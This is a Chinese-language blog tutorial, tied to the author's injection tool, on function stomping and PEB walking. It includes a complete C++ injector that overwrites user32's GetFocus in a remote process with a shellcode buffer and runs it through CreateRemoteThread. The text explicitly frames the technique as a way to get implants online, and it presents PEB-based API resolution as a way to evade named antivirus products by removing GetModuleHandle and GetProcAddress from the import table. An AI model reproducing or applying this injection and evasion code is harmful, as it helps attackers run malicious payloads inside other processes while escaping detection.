又鸽了一段时间了,最近在写这个武器,感兴趣的师傅们可以去看看(顺便给我点个Star)
whoami-juruo/InjectTools: 一款集成了DLL-Session0注入,APC注入,映射注入,线程劫持,函数踩踏自提权的工具 (github.com)
::累死我了,点个Star吧
那么言归正传,我们来讲今天的主题,函数踩踏 && PEB寻址
目录
1.函数踩踏(Function Stomping)
1.本地获取到DLL的句柄
2.找到目标函数
3.打开目标进程的句柄
4.进行函数踩踏
5.创建远程远程线程运行shellcode
2.PEB寻址
1.PEB && TEB
2.PEB_LDR_DATA
3. _LIST_ENTRY | Flink && Blink
4.GetModuleHanlde --> GetModuleByPeb
5. GetProcAddress ---> GetFunctionAddress
1.函数踩踏(Function Stomping)
函数踩踏,又有人叫做模块践踏,其实说人话就是把别人的某个加载了的dll中的某个函数进行覆盖,让这个函数内容变成自己的shellcode,让后让别的程序上线!!!
想弄清楚函数踩踏,必须弄清一个原理!!!
我们的EXE通过在本地进程中加载相同的 DLL 并使用`GetProcAddress`获取目标函数的地址。由于虽然 DLL 在每个进程中的基地址可能不同,但是导出的函数地址通常是相同的,因此可以在本地获取目标函数的准确地址。
所以我们函数踩踏的思路就很明朗了!!
- 先在本地获取到DLL的句柄
- 然后去DLL中找目标进程调用了的函数
- 然后OpenProcess获取对方的句柄
- 然后通过WriteProcessMemory来修改对方的函数内容
所以我们就可以写代码了
1.本地获取到DLL的句柄
通过下面的代码,我们就获取到了user32.dll的句柄
HMODULE hTargetDll = NULL;
LoadLibraryW(L"user32.dll"); //本exe并没有直接用到user32.dll中的东西,所以就要load进来
hTargetDll = GetModuleHandleW(L"user32.dll");
if (hTargetDll == NULL)
{
cout << GetLastError() << endl;
return;
}
2.找到目标函数
然后,我们就可以通过GetProcAddress来获取我们的目标函数GetFocus了!!
ptarget = GetProcAddress(hTargetDll, "GetFocus");
if (ptarget == NULL)
{
cout << GetLastError() << endl;
return;
}
3.打开目标进程的句柄
然后就是打开我们目标进程的句柄了(其实OpenProcess是一个非常危险的操作),这里其中需要的到进程的API,你可以通过遍历进程去获取(写一个输入,然后遍历进程字符串比较),这里我就直接用PID了 偷懒了
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 22160);
if (hProcess == INVALID_HANDLE_VALUE)
{
cout << GetLastError() << endl;
return;
}
4.进行函数踩踏
然后就是通过WriteProcessMemory来进行函数踩踏了
if (!WriteProcessMemory(hProcess, ptarget, buf, sizeof(buf), NULL))
{
cout << GetLastError() << endl;
return;
}
VirtualProtectEx(hProcess, ptarget, sizeof(buf), PAGE_EXECUTE_READWRITE, NULL)
5.创建远程远程线程运行shellcode
这里我们创建远程线程让目标程序起线程运行我们的shellcode
但是在启之前,不知道大家有没有好奇过,为啥我不能直接指针调用这里???
::这是因为Windows的内存管理,导致你的进程不能直接执行别人进程的内存空间!!!!
hThread = CreateRemoteThread(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)ptarget, NULL, NULL, NULL);
if (hThread == INVALID_HANDLE_VALUE)
{
cout << GetLastError() << endl;
return;
}
解决完上面的问题之后,我们就直接调用这个函数,然后就直接能看见上线了!!!
#include<iostream>
#include<windows.h>
using namespace std;
/* length: 891 bytes */
unsigned char buf[] = "";
void FunctionStomping()
{
HANDLE hThread = INVALID_HANDLE_VALUE;
HANDLE hProcess = INVALID_HANDLE_VALUE;
HMODULE hTargetDll = NULL;
PVOID ptarget = NULL;
LoadLibraryW(L"user32.dll"); //本exe并没有直接用到user32.dll中的东西,所以就要load进来
hTargetDll = GetModuleHandleW(L"user32.dll");
if (hTargetDll == NULL)
{
cout << GetLastError() << endl;
return;
}
ptarget = GetProcAddress(hTargetDll, "GetFocus");
if (ptarget == NULL)
{
cout << GetLastError() << endl;
return;
}
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 31124);
if (hProcess == INVALID_HANDLE_VALUE)
{
cout << GetLastError() << endl;
return;
}
if (!WriteProcessMemory(hProcess, ptarget, buf, sizeof(buf), NULL))
{
cout << GetLastError() << endl;
return;
}
VirtualProtectEx(hProcess, ptarget, sizeof(buf), PAGE_EXECUTE_READWRITE, NULL);
hThread = CreateRemoteThread(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)ptarget, NULL, NULL, NULL);
if (hThread == INVALID_HANDLE_VALUE)
{
cout << GetLastError() << endl;
return;
}
}
int main()
{
FunctionStomping();
return 0;
}
2.PEB寻址
我们之前都是用的GetModuleHanlde + GetProcAddress ,通过这样的动态调用,我们能直接过火绒,管家,df(加密)! 但是这样其实还是有痕迹的,最终版就是通过PEB寻址!!
1.PEB && TEB
PEB(Process Environment Block) 它存储了进程级别的数据,比如进程的环境变量、命令行参数、进程的堆内存地址等信息。
TEB (Thread Environment Block)TEB存储了线程级别的数据,例如线程的堆栈地址、TLS(Thread Local Storage,线程本地存储)等信息。
其中,在32位下,在TEB的0x30偏移是PEB ,在64位下 TEB 的 0x60是TEB
2.PEB_LDR_DATA
其中,在32位下,在PEB 的0x00c偏移是PEB_LDR_DATA这个结构体
我们跟进去,就能看见这样的内容,其中重要的,就是框框中的三个双向链表!!
3. _LIST_ENTRY | Flink && Blink
我们跟进去,就能发现只有两个成员 Flink && Blink
Blink 指向上一个上一个节点,Flink指向下一个节点。
其中可以用一张图片来总结,其中在 _LDR_DATA_TABLE_ENTRY
4.GetModuleHanlde --> GetModuleByPeb
了解了上面的东西之后,我们就可以来写代码了,前面获取_LDR_DATA的代码我们就不多说了,我们直接来看看核心代码!
首先 AddressFirstNode 指的是_LDR_DATA中的InMemoryOrderModuleList的Fliink结构,AddressFristPLIST指向的是InMemoryOrderModuleList结构,那么每次我们进入循环的时候,我们都拿到下一个节点_LDR_DATA_TABLE_ENTRY的INMEMORYORDERLINKS这个结构,那么,我们通过减一,就能获取到 _LDR_DATA_TABLE_ENTRY的结构首地址,然后再进行强制转换为_LDR_DATA_TABLE_ENTRY指针,这样,我们就能拿到这个结构体里面的FullDLLName了!并且通过将这个与我们的DLL名字相比较,我们就能获取到了目标DLL的 _LDR_DATA_TABLE_ENRTY结构,然后我们直接返回这个结构的DLLBase地址就完成了GetModuleHanlde的操作了 !!!
::就是这样的,虽然有点难理解
5. GetProcAddress ---> GetFunctionAddress
在上面有了DLL的基地址之后,我们就能通过导出表找到我们对应的函数了
其余获取导出表的结构就不多讲了,重点其实就是在这个,通过遍历导出表,我们能获取到我们的函数地址对应的RVA,并通过计算,我们就能得到我们函数的地址了!!!
这样,我们就能从导入表中将GetModuleHanlde 和GetProcAddress这两个API成功抹去了!!